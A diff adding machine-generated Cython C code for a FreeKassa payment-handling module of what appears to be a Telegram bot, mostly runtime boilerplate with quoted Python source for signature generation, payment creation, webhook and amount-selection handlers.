__PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#include +static char* __PYX_DEFAULT_STRING_ENCODING; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c) + 1); + if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; + strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + return -1; +} +#endif +#endif + + +/* Test for GCC > 2.95 */ +#if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) + #define likely(x) __builtin_expect(!!(x), 1) + #define unlikely(x) __builtin_expect(!!(x), 0) +#else /* !__GNUC__ or GCC < 2.95 */ + #define likely(x) (x) + #define unlikely(x) (x) +#endif /* __GNUC__ */ +static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; } + +#if !CYTHON_USE_MODULE_STATE +static PyObject *__pyx_m = NULL; +#endif +static int __pyx_lineno; +static int __pyx_clineno = 0; +static const char * __pyx_cfilenm = __FILE__; +static const char *__pyx_filename; + +/* #### Code section: filename_table ### */ + +static const char *__pyx_f[] = { + "handlers/payments/freekassa_pay.py", +}; +/* #### Code section: utility_code_proto_before_types ### */ +/* ForceInitThreads.proto */ +#ifndef __PYX_FORCE_INIT_THREADS + #define __PYX_FORCE_INIT_THREADS 0 +#endif + +/* #### Code section: numeric_typedefs ### */ +/* #### Code section: complex_type_declarations ### */ +/* #### Code section: type_declarations ### */ + +/*--- Type declarations ---*/ +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr; +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment; +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook; +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa; +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection; +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount; +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input; + +/* "handlers/payments/freekassa_pay.py":32 + * def generate_signature(params, api_key): + * sorted_params = {k: params[k] for k in sorted(params)} + * sign_string = "|".join(str(value) for value in sorted_params.values()) # <<<<<<<<<<<<<< + * return hmac.new(api_key.encode(), sign_string.encode(), hashlib.sha256).hexdigest() + * + */ +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr { + PyObject_HEAD + PyObject *__pyx_genexpr_arg_0; + PyObject *__pyx_v_value; +}; + + +/* "handlers/payments/freekassa_pay.py":36 + * + * + * async def create_payment(user_id, amount, email, ip): # <<<<<<<<<<<<<< + * payment_id = str(uuid.uuid4()) + * nonce = int(time.time() * 1000) + */ +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_e; + PyObject *__pyx_v_email; + PyObject *__pyx_v_ip; + PyObject *__pyx_v_nonce; + PyObject *__pyx_v_params; + PyObject *__pyx_v_payment_id; + PyObject *__pyx_v_response; + PyObject *__pyx_v_response_data; + PyObject *__pyx_v_user_id; +}; + + +/* "handlers/payments/freekassa_pay.py":70 + * + * + * async def freekassa_webhook(request): # <<<<<<<<<<<<<< + * data = await request.json() + * logging.debug(f" FreeKassa: {data}") + */ +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook { + PyObject_HEAD + double __pyx_v_amount; + PyObject *__pyx_v_data; + PyObject *__pyx_v_request; + PyObject *__pyx_v_user_id; +}; + + +/* "handlers/payments/freekassa_pay.py":87 + * + * + * @router.callback_query(lambda c: c.data == "pay_freekassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_freekassa( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_i; + PyObject *__pyx_v_state; +}; + + +/* "handlers/payments/freekassa_pay.py":127 + * + * + * @router.callback_query(F.data.startswith("freekassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_amount_str; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_confirm_keyboard; + PyObject *__pyx_v_data; + PyObject *__pyx_v_payment_url; + PyObject *__pyx_v_state; + PyObject *__pyx_v_user_email; + PyObject *__pyx_v_user_ip; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; +}; + + +/* "handlers/payments/freekassa_pay.py":167 + * + * + * @router.callback_query(F.data == "enter_custom_amount_freekassa") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount { + PyObject_HEAD + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_state; +}; + + +/* "handlers/payments/freekassa_pay.py":175 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_freekassa) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ +struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_keyboard; + PyObject *__pyx_v_message; + PyObject *__pyx_v_payment_url; + PyObject *__pyx_v_state; + PyObject *__pyx_v_user_email; + PyObject *__pyx_v_user_ip; +}; + +/* #### Code section: utility_code_proto ### */ + +/* --- Runtime support code (head) --- */ +/* Refnanny.proto */ +#ifndef CYTHON_REFNANNY + #define CYTHON_REFNANNY 0 +#endif +#if CYTHON_REFNANNY + typedef struct { + void (*INCREF)(void*, PyObject*, Py_ssize_t); + void (*DECREF)(void*, PyObject*, Py_ssize_t); + void (*GOTREF)(void*, PyObject*, Py_ssize_t); + void (*GIVEREF)(void*, PyObject*, Py_ssize_t); + void* (*SetupContext)(const char*, Py_ssize_t, const char*); + void (*FinishContext)(void**); + } __Pyx_RefNannyAPIStruct; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); + #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; +#ifdef WITH_THREAD + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + if (acquire_gil) {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + PyGILState_Release(__pyx_gilstate_save);\ + } else {\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + } + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } +#else + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__)) + #define __Pyx_RefNannyFinishContextNogil() __Pyx_RefNannyFinishContext() +#endif + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } + #define __Pyx_RefNannyFinishContext()\ + __Pyx_RefNanny->FinishContext(&__pyx_refnanny) + #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_XINCREF(r) do { if((r) == NULL); else {__Pyx_INCREF(r); }} while(0) + #define __Pyx_XDECREF(r) do { if((r) == NULL); else {__Pyx_DECREF(r); }} while(0) + #define __Pyx_XGOTREF(r) do { if((r) == NULL); else {__Pyx_GOTREF(r); }} while(0) + #define __Pyx_XGIVEREF(r) do { if((r) == NULL); else {__Pyx_GIVEREF(r);}} while(0) +#else + #define __Pyx_RefNannyDeclarations + #define __Pyx_RefNannySetupContext(name, acquire_gil) + #define __Pyx_RefNannyFinishContextNogil() + #define __Pyx_RefNannyFinishContext() + #define __Pyx_INCREF(r) Py_INCREF(r) + #define __Pyx_DECREF(r) Py_DECREF(r) + #define __Pyx_GOTREF(r) + #define __Pyx_GIVEREF(r) + #define __Pyx_XINCREF(r) Py_XINCREF(r) + #define __Pyx_XDECREF(r) Py_XDECREF(r) + #define __Pyx_XGOTREF(r) + #define __Pyx_XGIVEREF(r) +#endif +#define __Pyx_Py_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; Py_XDECREF(tmp);\ + } while (0) +#define __Pyx_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_XDECREF(tmp);\ + } while (0) +#define __Pyx_DECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_DECREF(tmp);\ + } while (0) +#define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) +#define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) + +/* PyErrExceptionMatches.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) +static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); +#else +#define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) +#endif + +/* PyThreadStateGet.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; +#define __Pyx_PyThreadState_assign __pyx_tstate = __Pyx_PyThreadState_Current; +#if PY_VERSION_HEX >= 0x030C00A6 +#define __Pyx_PyErr_Occurred() (__pyx_tstate->current_exception != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->current_exception ? (PyObject*) Py_TYPE(__pyx_tstate->current_exception) : (PyObject*) NULL) +#else +#define __Pyx_PyErr_Occurred() (__pyx_tstate->curexc_type != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->curexc_type) +#endif +#else +#define __Pyx_PyThreadState_declare +#define __Pyx_PyThreadState_assign +#define __Pyx_PyErr_Occurred() (PyErr_Occurred() != NULL) +#define __Pyx_PyErr_CurrentExceptionType() PyErr_Occurred() +#endif + +/* PyErrFetchRestore.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL) +#define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A6 +#define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL)) +#else +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#endif +#else +#define __Pyx_PyErr_Clear() PyErr_Clear() +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestoreInState(tstate, type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchInState(tstate, type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) +#endif + +/* PyObjectGetAttrStr.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) +#endif + +/* PyObjectGetAttrStrNoError.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name); + +/* GetBuiltinName.proto */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name); + +/* TupleAndListFromArray.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n); +static CYTHON_INLINE PyObject* __Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n); +#endif + +/* IncludeStringH.proto */ +#include + +/* BytesEquals.proto */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); + +/* UnicodeEquals.proto */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); + +/* fastcall.proto */ +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_VARARGS(args, i) PySequence_GetItem(args, i) +#elif CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GET_ITEM(args, i) +#else + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GetItem(args, i) +#endif +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_NewRef_VARARGS(arg) __Pyx_NewRef(arg) + #define __Pyx_Arg_XDECREF_VARARGS(arg) Py_XDECREF(arg) +#else + #define __Pyx_Arg_NewRef_VARARGS(arg) arg + #define __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#define __Pyx_NumKwargs_VARARGS(kwds) PyDict_Size(kwds) +#define __Pyx_KwValues_VARARGS(args, nargs) NULL +#define __Pyx_GetKwValue_VARARGS(kw, kwvalues, s) __Pyx_PyDict_GetItemStrWithError(kw, s) +#define __Pyx_KwargsAsDict_VARARGS(kw, kwvalues) PyDict_Copy(kw) +#if CYTHON_METH_FASTCALL + #define __Pyx_Arg_FASTCALL(args, i) args[i] + #define __Pyx_NumKwargs_FASTCALL(kwds) PyTuple_GET_SIZE(kwds) + #define __Pyx_KwValues_FASTCALL(args, nargs) ((args) + (nargs)) + static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 + CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues); + #else + #define __Pyx_KwargsAsDict_FASTCALL(kw, kwvalues) _PyStack_AsDict(kwvalues, kw) + #endif + #define __Pyx_Arg_NewRef_FASTCALL(arg) arg /* no-op, __Pyx_Arg_FASTCALL is direct and this needs + to have the same reference counting */ + #define __Pyx_Arg_XDECREF_FASTCALL(arg) +#else + #define __Pyx_Arg_FASTCALL __Pyx_Arg_VARARGS + #define __Pyx_NumKwargs_FASTCALL __Pyx_NumKwargs_VARARGS + #define __Pyx_KwValues_FASTCALL __Pyx_KwValues_VARARGS + #define __Pyx_GetKwValue_FASTCALL __Pyx_GetKwValue_VARARGS + #define __Pyx_KwargsAsDict_FASTCALL __Pyx_KwargsAsDict_VARARGS + #define __Pyx_Arg_NewRef_FASTCALL(arg) __Pyx_Arg_NewRef_VARARGS(arg) + #define __Pyx_Arg_XDECREF_FASTCALL(arg) __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_VARARGS(args, start), stop - start) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_FASTCALL(args, start), stop - start) +#else +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) PyTuple_GetSlice(args, start, stop) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) PyTuple_GetSlice(args, start, stop) +#endif + +/* RaiseDoubleKeywords.proto */ +static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); + +/* ParseKeywords.proto */ +static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, + const char* function_name); + +/* RaiseArgTupleInvalid.proto */ +static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, + Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); + +/* IterFinish.proto */ +static CYTHON_INLINE int __Pyx_IterFinish(void); + +/* PyFunctionFastCall.proto */ +#if CYTHON_FAST_PYCALL +#if !CYTHON_VECTORCALL +#define __Pyx_PyFunction_FastCall(func, args, nargs)\ + __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); +#endif +#define __Pyx_BUILD_ASSERT_EXPR(cond)\ + (sizeof(char [1 - 2*!(cond)]) - 1) +#ifndef Py_MEMBER_SIZE +#define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member) +#endif +#if !CYTHON_VECTORCALL +#if PY_VERSION_HEX >= 0x03080000 + #include "frameobject.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif + #define __Pxy_PyFrame_Initialize_Offsets() + #define __Pyx_PyFrame_GetLocalsplus(frame) ((frame)->f_localsplus) +#else + static size_t __pyx_pyframe_localsplus_offset = 0; + #include "frameobject.h" + #define __Pxy_PyFrame_Initialize_Offsets()\ + ((void)__Pyx_BUILD_ASSERT_EXPR(sizeof(PyFrameObject) == offsetof(PyFrameObject, f_localsplus) + Py_MEMBER_SIZE(PyFrameObject, f_localsplus)),\ + (void)(__pyx_pyframe_localsplus_offset = ((size_t)PyFrame_Type.tp_basicsize) - Py_MEMBER_SIZE(PyFrameObject, f_localsplus))) + #define __Pyx_PyFrame_GetLocalsplus(frame)\ + (assert(__pyx_pyframe_localsplus_offset), (PyObject **)(((char *)(frame)) + __pyx_pyframe_localsplus_offset)) +#endif +#endif +#endif + +/* PyObjectCall.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); +#else +#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) +#endif + +/* PyObjectCallMethO.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); +#endif + +/* PyObjectFastCall.proto */ +#define __Pyx_PyObject_FastCall(func, args, nargs) __Pyx_PyObject_FastCallDict(func, args, (size_t)(nargs), NULL) +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs); + +/* PyObjectCallNoArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); + +/* PyObjectCallOneArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); + +/* PyObjectGetMethod.proto */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method); + +/* PyObjectCallMethod0.proto */ +static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name); + +/* RaiseNeedMoreValuesToUnpack.proto */ +static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index); + +/* RaiseTooManyValuesToUnpack.proto */ +static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected); + +/* UnpackItemEndCheck.proto */ +static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected); + +/* RaiseNoneIterError.proto */ +static CYTHON_INLINE void __Pyx_RaiseNoneNotIterableError(void); + +/* UnpackTupleError.proto */ +static void __Pyx_UnpackTupleError(PyObject *, Py_ssize_t index); + +/* UnpackTuple2.proto */ +#define __Pyx_unpack_tuple2(tuple, value1, value2, is_tuple, has_known_size, decref_tuple)\ + (likely(is_tuple || PyTuple_Check(tuple)) ?\ + (likely(has_known_size || PyTuple_GET_SIZE(tuple) == 2) ?\ + __Pyx_unpack_tuple2_exact(tuple, value1, value2, decref_tuple) :\ + (__Pyx_UnpackTupleError(tuple, 2), -1)) :\ + __Pyx_unpack_tuple2_generic(tuple, value1, value2, has_known_size, decref_tuple)) +static CYTHON_INLINE int __Pyx_unpack_tuple2_exact( + PyObject* tuple, PyObject** value1, PyObject** value2, int decref_tuple); +static int __Pyx_unpack_tuple2_generic( + PyObject* tuple, PyObject** value1, PyObject** value2, int has_known_size, int decref_tuple); + +/* dict_iter.proto */ +static CYTHON_INLINE PyObject* __Pyx_dict_iterator(PyObject* dict, int is_dict, PyObject* method_name, + Py_ssize_t* p_orig_length, int* p_is_dict); +static CYTHON_INLINE int __Pyx_dict_iter_next(PyObject* dict_or_iter, Py_ssize_t orig_length, Py_ssize_t* ppos, + PyObject** pkey, PyObject** pvalue, PyObject** pitem, int is_dict); + +/* RaiseUnboundLocalError.proto */ +static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname); + +/* ListCompAppend.proto */ +#if CYTHON_USE_PYLIST_INTERNALS && CYTHON_ASSUME_SAFE_MACROS +static CYTHON_INLINE int __Pyx_ListComp_Append(PyObject* list, PyObject* x) { + PyListObject* L = (PyListObject*) list; + Py_ssize_t len = Py_SIZE(list); + if (likely(L->allocated > len)) { + Py_INCREF(x); + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 + L->ob_item[len] = x; + #else + PyList_SET_ITEM(list, len, x); + #endif + __Pyx_SET_SIZE(list, len + 1); + return 0; + } + return PyList_Append(list, x); +} +#else +#define __Pyx_ListComp_Append(L,x) PyList_Append(L,x) +#endif + +/* PyObject_Unicode.proto */ +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyObject_Unicode(obj)\ + (likely(PyUnicode_CheckExact(obj)) ? __Pyx_NewRef(obj) : PyObject_Str(obj)) +#else +#define __Pyx_PyObject_Unicode(obj)\ + (likely(PyUnicode_CheckExact(obj)) ? __Pyx_NewRef(obj) : PyObject_Unicode(obj)) +#endif + +/* GetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* pep479.proto */ +static void __Pyx_Generator_Replace_StopIteration(int in_async_gen); + +/* GetItemInt.proto */ +#define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ + (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ + __Pyx_GetItemInt_Generic(o, to_py_func(i)))) +#define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +#define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, + int is_list, int wraparound, int boundscheck); + +/* ObjectGetItem.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key); +#else +#define __Pyx_PyObject_GetItem(obj, key) PyObject_GetItem(obj, key) +#endif + +/* PyDictVersioning.proto */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +#define __PYX_DICT_VERSION_INIT ((PY_UINT64_T) -1) +#define __PYX_GET_DICT_VERSION(dict) (((PyDictObject*)(dict))->ma_version_tag) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)\ + (version_var) = __PYX_GET_DICT_VERSION(dict);\ + (cache_var) = (value); +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + if (likely(__PYX_GET_DICT_VERSION(DICT) == __pyx_dict_version)) {\ + (VAR) = __pyx_dict_cached_value;\ + } else {\ + (VAR) = __pyx_dict_cached_value = (LOOKUP);\ + __pyx_dict_version = __PYX_GET_DICT_VERSION(DICT);\ + }\ +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj); +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj); +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version); +#else +#define __PYX_GET_DICT_VERSION(dict) (0) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var) +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) (VAR) = (LOOKUP); +#endif + +/* GetModuleGlobalName.proto */ +#if CYTHON_USE_DICT_VERSIONS +#define __Pyx_GetModuleGlobalName(var, name) do {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + (var) = (likely(__pyx_dict_version == __PYX_GET_DICT_VERSION(__pyx_d))) ?\ + (likely(__pyx_dict_cached_value) ? __Pyx_NewRef(__pyx_dict_cached_value) : __Pyx_GetBuiltinName(name)) :\ + __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +#define __Pyx_GetModuleGlobalNameUncached(var, name) do {\ + PY_UINT64_T __pyx_dict_version;\ + PyObject *__pyx_dict_cached_value;\ + (var) = __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value); +#else +#define __Pyx_GetModuleGlobalName(var, name) (var) = __Pyx__GetModuleGlobalName(name) +#define __Pyx_GetModuleGlobalNameUncached(var, name) (var) = __Pyx__GetModuleGlobalName(name) +static CYTHON_INLINE PyObject 